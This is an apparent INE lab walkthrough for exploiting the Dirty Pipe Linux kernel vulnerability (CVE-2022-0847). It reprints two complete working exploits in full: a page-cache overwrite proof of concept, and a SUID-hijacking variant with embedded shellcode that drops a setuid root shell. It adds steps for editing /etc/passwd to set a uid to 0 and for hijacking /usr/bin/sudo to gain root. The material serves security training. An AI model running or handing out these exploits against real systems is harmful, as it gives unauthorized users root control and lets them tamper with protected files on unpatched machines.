Skip to main content
INE

Dirty Pipe (CVE-2022-0847)

Overview

Dirty Pipe (CVE-2022-0847) is a Linux kernel vulnerability that allows a low-privilege user to - Modify read-only files - Obtain an elevated shell

Impacted Versions:

Linux Kernel versions are affected from 5.8 to 5.16.10, 5.15.24, and 5.10.101.

References: - https://dirtypipe.cm4all.com/ - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-0847

The user is provided a shell on a vulnerable Linux server.

Objective: Exploit the Dirty Pipe vulnerability to edit read-only files and get a shell as root user!

Solution

Step 1: Open the lab link to access the shell as the student user.

Step 2: Check the version of the kernel.

uname -a

The kernel version is 5.16.9. It is affected with Dirty Pipe.

Task I: Modify Read-Only Files

Step 3: Check the contents of /etc/passwd.

cat /etc/passwd

Also, check the permission of this file.

ls -l /etc/passwd

As student user, we can read the contents of /etc/passwd but can't write/modify its content.

Any attempts of writing/appending/editing on this file will fail.

echo "test" >> /etc/passwd

Step 4: Copy the exploit code taken from https://dirtypipe.cm4all.com/ and save it in exploit.c file on the affected machine.

The code is pasted below for convenience.

/* SPDX-License-Identifier: GPL-2.0 */
    /*
     * Copyright 2022 CM4all GmbH / IONOS SE
     *
     * author: Max Kellermann <max.kellermann@ionos.com>
     *
     * Proof-of-concept exploit for the Dirty Pipe
     * vulnerability (CVE-2022-0847) caused by an uninitialized
     * "pipe_buffer.flags" variable.  It demonstrates how to overwrite any
     * file contents in the page cache, even if the file is not permitted
     * to be written, immutable or on a read-only mount.
     *
     * This exploit requires Linux 5.8 or later; the code path was made
     * reachable by commit f6dd975583bd ("pipe: merge
     * anon_pipe_buf*_ops").  The commit did not introduce the bug, it was
     * there before, it just provided an easy way to exploit it.
     *
     * There are two major limitations of this exploit: the offset cannot
     * be on a page boundary (it needs to write one byte before the offset
     * to add a reference to this page to the pipe), and the write cannot
     * cross a page boundary.
     *
     * Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'
     *
     * Further explanation: https://dirtypipe.cm4all.com/
     */
    #define _GNU_SOURCE
    #include <unistd.h>
    #include <fcntl.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <sys/stat.h>
    #include <sys/user.h>
    #ifndef PAGE_SIZE
    #define PAGE_SIZE 4096
    #endif
    /**
     * Create a pipe where all "bufs" on the pipe_inode_info ring have the
     * PIPE_BUF_FLAG_CAN_MERGE flag set.
     */
    static void prepare_pipe(int p[2])
    {
        if (pipe(p)) abort();
        const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
        static char buffer[4096];
        /* fill the pipe completely; each pipe_buffer will now have
           the PIPE_BUF_FLAG_CAN_MERGE flag */
        for (unsigned r = pipe_size; r > 0;) {
            unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
            write(p[1], buffer, n);
            r -= n;
        }
        /* drain the pipe, freeing all pipe_buffer instances (but
           leaving the flags initialized) */
        for (unsigned r = pipe_size; r > 0;) {
            unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
            read(p[0], buffer, n);
            r -= n;
        }
        /* the pipe is now empty, and if somebody adds a new
           pipe_buffer without initializing its "flags", the buffer
           will be mergeable */
    }
    int main(int argc, char **argv)
    {
        if (argc != 4) {
            fprintf(stderr, "Usage: %s TARGETFILE OFFSET DATA\n", argv[0]);
            return EXIT_FAILURE;
        }
        /* dumb command-line argument parser */
        const char *const path = argv[1];
        loff_t offset = strtoul(argv[2], NULL, 0);
        const char *const data = argv[3];
        const size_t data_size = strlen(data);
        if (offset % PAGE_SIZE == 0) {
            fprintf(stderr, "Sorry, cannot start writing at a page boundary\n");
            return EXIT_FAILURE;
        }
        const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1;
        const loff_t end_offset = offset + (loff_t)data_size;
        if (end_offset > next_page) {
            fprintf(stderr, "Sorry, cannot write across a page boundary\n");
            return EXIT_FAILURE;
        }
        /* open the input file and validate the specified offset */
        const int fd = open(path, O_RDONLY); // yes, read-only! :-)
        if (fd < 0) {
            perror("open failed");
            return EXIT_FAILURE;
        }
        struct stat st;
        if (fstat(fd, &st)) {
            perror("stat failed");
            return EXIT_FAILURE;
        }
        if (offset > st.st_size) {
            fprintf(stderr, "Offset is not inside the file\n");
            return EXIT_FAILURE;
        }
        if (end_offset > st.st_size) {
            fprintf(stderr, "Sorry, cannot enlarge the file\n");
            return EXIT_FAILURE;
        }
        /* create the pipe with all flags initialized with
           PIPE_BUF_FLAG_CAN_MERGE */
        int p[2];
        prepare_pipe(p);
        /* splice one byte from before the specified offset into the
           pipe; this will add a reference to the page cache, but
           since copy_page_to_iter_pipe() does not initialize the
           "flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
        --offset;
        ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
        if (nbytes < 0) {
            perror("splice failed");
            return EXIT_FAILURE;
        }
        if (nbytes == 0) {
            fprintf(stderr, "short splice\n");
            return EXIT_FAILURE;
        }
        /* the following write will not create a new pipe_buffer, but
           will instead write into the page cache, because of the
           PIPE_BUF_FLAG_CAN_MERGE flag */
        nbytes = write(p[1], data, data_size);
        if (nbytes < 0) {
            perror("write failed");
            return EXIT_FAILURE;
        }
        if ((size_t)nbytes < data_size) {
            fprintf(stderr, "short write\n");
            return EXIT_FAILURE;
        }
        printf("It worked!\n");
        return EXIT_SUCCESS;
    }

We can use vim editor to open a file for writing.

vim exploit.c

Press i to enter Insert Mode.

Paste the copied code.

Exit the Insert Mode by pressing ESC.

Save the file and exit vim by pressing :wq followed by enter.

The code is not saved in the newly created exploit.c

Step 5: Compile this file with gcc compiler.

gcc exploit.c -o exploit

This step will create an executable named exploit in the same directory.

ls -l

This exploit binary can be used to edit read-only files.

Step 6: Use exploit binary to overwrite the userid or uid (i.e. 1) of the daemon user with 0.

./exploit /etc/passwd 92 0

Here, - /etc/passwd : File to edit/modify - 92 : Location to overwrite from in the file - 0 : New content to overwrite the current content

Check the contents of the /etc/passwd file again.

cat /etc/passwd

We can observe that the uid for user daemon is changed to 0.

We have edited the content of a read-only file.

Task II: Get a shell as root

Step 7: Check the current userid, groupid and current user.

id

Our current user is student user.

Step 8: We require a binary with setuid bit for this task. Search for such binaries.

find / -perm -4000 2>/dev/null

We are going to use /usr/bin/sudo for this.

Step 9: Copy the exploit code taken from https://raw.githubusercontent.com/febinrev/dirtypipez-exploit/main/dirtypipez.c and save it in exploit2.c file on the affected machine.

The code is pasted below for convenience.

//
    // dirtypipez.c
    //
    // hacked up Dirty Pipe (CVE-2022-0847) PoC that hijacks a SUID binary to spawn
    // a root shell. (and attempts to restore the damaged binary as well)
    //
    // Wow, Dirty CoW reloaded!
    //
    // -- blasty <peter@haxx.in> // 2022-03-07
    /* SPDX-License-Identifier: GPL-2.0 */
    /*
     * Copyright 2022 CM4all GmbH / IONOS SE
     *
     * author: Max Kellermann <max.kellermann@ionos.com>
     *
     * Proof-of-concept exploit for the Dirty Pipe
     * vulnerability (CVE-2022-0847) caused by an uninitialized
     * "pipe_buffer.flags" variable.  It demonstrates how to overwrite any
     * file contents in the page cache, even if the file is not permitted
     * to be written, immutable or on a read-only mount.
     *
     * This exploit requires Linux 5.8 or later; the code path was made
     * reachable by commit f6dd975583bd ("pipe: merge
     * anon_pipe_buf*_ops").  The commit did not introduce the bug, it was
     * there before, it just provided an easy way to exploit it.
     *
     * There are two major limitations of this exploit: the offset cannot
     * be on a page boundary (it needs to write one byte before the offset
     * to add a reference to this page to the pipe), and the write cannot
     * cross a page boundary.
     *
     * Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'
     *
     * Further explanation: https://dirtypipe.cm4all.com/
     */
    #define _GNU_SOURCE
    #include <unistd.h>
    #include <fcntl.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <sys/stat.h>
    #include <sys/user.h>
    #include <stdint.h>
    #ifndef PAGE_SIZE
    #define PAGE_SIZE 4096
    #endif
    // small (linux x86_64) ELF file matroshka doll that does;
    //   fd = open("/tmp/sh", O_WRONLY | O_CREAT | O_TRUNC);
    //   write(fd, elfcode, elfcode_len)
    //   chmod("/tmp/sh", 04755)
    //   close(fd);
    //   exit(0);
    //
    // the dropped ELF simply does:
    //   setuid(0);
    //   setgid(0);
    //   execve("/bin/sh", ["/bin/sh", NULL], [NULL]);
    unsigned char elfcode[] = {
        /*0x7f,*/ 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
        0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x97, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x97, 0x01, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x48, 0x8d, 0x3d, 0x56, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc6, 0x41, 0x02,
        0x00, 0x00, 0x48, 0xc7, 0xc0, 0x02, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48,
        0x89, 0xc7, 0x48, 0x8d, 0x35, 0x44, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc2,
        0xba, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc0, 0x01, 0x00, 0x00, 0x00, 0x0f,
        0x05, 0x48, 0xc7, 0xc0, 0x03, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x8d,
        0x3d, 0x1c, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc6, 0xed, 0x09, 0x00, 0x00,
        0x48, 0xc7, 0xc0, 0x5a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x31, 0xff,
        0x48, 0xc7, 0xc0, 0x3c, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x2f, 0x74, 0x6d,
        0x70, 0x2f, 0x73, 0x68, 0x00, 0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e,
        0x00, 0x01, 0x00, 0x00, 0x00, 0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38,
        0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00,
        0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40,
        0x00, 0x00, 0x00, 0x00, 0x00, 0xba, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0xba, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x31, 0xff, 0x48, 0xc7, 0xc0, 0x69,
        0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x31, 0xff, 0x48, 0xc7, 0xc0, 0x6a,
        0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x8d, 0x3d, 0x1b, 0x00, 0x00, 0x00,
        0x6a, 0x00, 0x48, 0x89, 0xe2, 0x57, 0x48, 0x89, 0xe6, 0x48, 0xc7, 0xc0,
        0x3b, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0xc7, 0xc0, 0x3c, 0x00, 0x00,
        0x00, 0x0f, 0x05, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00
    };
    /**
     * Create a pipe where all "bufs" on the pipe_inode_info ring have the
     * PIPE_BUF_FLAG_CAN_MERGE flag set.
     */
    static void prepare_pipe(int p[2])
    {
        if (pipe(p)) abort();
        const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
        static char buffer[4096];
        /* fill the pipe completely; each pipe_buffer will now have
           the PIPE_BUF_FLAG_CAN_MERGE flag */
        for (unsigned r = pipe_size; r > 0;) {
            unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
            write(p[1], buffer, n);
            r -= n;
        }
        /* drain the pipe, freeing all pipe_buffer instances (but
           leaving the flags initialized) */
        for (unsigned r = pipe_size; r > 0;) {
            unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
            read(p[0], buffer, n);
            r -= n;
        }
        /* the pipe is now empty, and if somebody adds a new
           pipe_buffer without initializing its "flags", the buffer
           will be mergeable */
    }
    int hax(char *filename, long offset, uint8_t *data, size_t len) {
        /* open the input file and validate the specified offset */
        const int fd = open(filename, O_RDONLY); // yes, read-only! :-)
        if (fd < 0) {
            perror("open failed");
            return -1;
        }
        struct stat st;
        if (fstat(fd, &st)) {
            perror("stat failed");
            return -1;
        }
        /* create the pipe with all flags initialized with
           PIPE_BUF_FLAG_CAN_MERGE */
        int p[2];
        prepare_pipe(p);
        /* splice one byte from before the specified offset into the
           pipe; this will add a reference to the page cache, but
           since copy_page_to_iter_pipe() does not initialize the
           "flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
        --offset;
        ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
        if (nbytes < 0) {
            perror("splice failed");
            return -1;
        }
        if (nbytes == 0) {
            fprintf(stderr, "short splice\n");
            return -1;
        }
        /* the following write will not create a new pipe_buffer, but
           will instead write into the page cache, because of the
           PIPE_BUF_FLAG_CAN_MERGE flag */
        nbytes = write(p[1], data, len);
        if (nbytes < 0) {
            perror("write failed");
            return -1;
        }
        if ((size_t)nbytes < len) {
            fprintf(stderr, "short write\n");
            return -1;
        }
        close(fd);
        return 0;
    }
    int main(int argc, char **argv) {
        if (argc != 2) {
            fprintf(stderr, "Usage: %s SUID\n", argv[0]);
            return EXIT_FAILURE;
        }
        char *path = argv[1];
        uint8_t *data = elfcode;
        int fd = open(path, O_RDONLY);
        uint8_t *orig_bytes = malloc(sizeof(elfcode));
        lseek(fd, 1, SEEK_SET);
        read(fd, orig_bytes, sizeof(elfcode));
        close(fd);
        printf("[+] hijacking suid binary..\n");
        if (hax(path, 1, elfcode, sizeof(elfcode)) != 0) {
            printf("[~] failed\n");
            return EXIT_FAILURE;
        }
        printf("[+] dropping suid shell..\n");
        system(path);
        printf("[+] restoring suid binary..\n");
        if (hax(path, 1, orig_bytes, sizeof(elfcode)) != 0) {
            printf("[~] failed\n");
            return EXIT_FAILURE;
        }
        printf("[+] popping root shell.. (dont forget to clean up /tmp/sh ;))\n");
        system("/tmp/sh");
        return EXIT_SUCCESS;
    }

Save the code in exploit2.c file using vim (As discussed in step 4)

Step 10: Compile this file with gcc compiler.

gcc exploit2.c -o exploit2

This step will create an executable named exploit2 in the same directory.

ls -l

Step 11: Run exploit2 binary and pass it the path to sudo binary.

This exploit will leverage /usr/bin/sudo file to create /tmp/sh file with setuid bit set on it. Then, executing the /tmp/sh binary will provide an elevated shell.

./exploit2 /usr/bin/sudo

Once we have a Bourne Shell (sh), check the current userid, grouip and user to verify the elevation.

id

We have gained a shell with user root.

In this manner, an attacker can exploit Dirty Pipe vulnerability to perform privilege escalation.